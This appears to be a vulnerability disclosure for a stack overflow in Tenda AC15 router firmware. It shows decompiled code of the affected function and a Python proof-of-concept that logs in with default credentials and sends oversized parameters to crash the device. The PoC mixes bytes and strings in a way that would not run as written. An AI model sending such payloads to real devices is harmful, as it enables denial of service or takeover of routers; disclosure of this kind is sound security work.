

main ▾

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1 contributor

75 lines (54 sloc) | 2.05 KB

...

Tenda AC15 stack overflow vulnerability

* Version

V15.03.05.19 (US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin)

* Firmware

<https://www.tenda.com.cn/download/detail-2680.html>

* Vulnerability Detail

In function fromAddressNat, the content obtained by the program from the parameter "entrys", "mitInterface" and "page" are passed to local_14, local_18 and local_1c, and then the local_14 and local_18 are directly copied into the acStack796 stack through the sprintf function. The local_1c is copied into the acStack284 stack through the sprintf function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void fromAddressNat(undefined4 param_1)

{
```

```

int iVar1;
char acStack1052 [256];
char acStack796 [512];
char acStack284 [256];
undefined4 local_1c;
undefined4 local_18;
undefined4 local_14;

memset(acStack1052,0,0x100);
local_14 = FUN_0002ba8c(param_1,"entrys",&DAT_000e5d48);
local_18 = FUN_0002ba8c(param_1,"mitInterface",&DAT_000e5d48);
sprintf(acStack796,"%s;%s",local_14,local_18); // overflow here
FUN_0004ec58("adv.addrnat",acStack796,0x7e);
local_1c = FUN_0002ba8c(param_1,"page",&DAT_000e5f4c);
sprintf(acStack284,"advance/addressNatList.asp?page=%s",local_1c); //overflow her
iVar1 = CommitCfm();
if (iVar1 != 0) {
    sprintf(acStack1052,"advance_type=%d",7);
    send_msg_to_netctrl(5,acStack1052);
}
FUN_0002be4c(param_1,acStack284);
return;
}

```



* POC

```
import requests
```

```
cmd = b'entrys=' + b'A' * 400 + '&mitInterface='
cmd += b'A'* 0x400 + '&page=' + 'A' * 200
```

```
url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/addressNat/?" + cmd
```

```
data = {
    "username": "admin",
    "password": "admin",
}
```

```
def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
```

```
print(resp.content)
```

```
attack()
```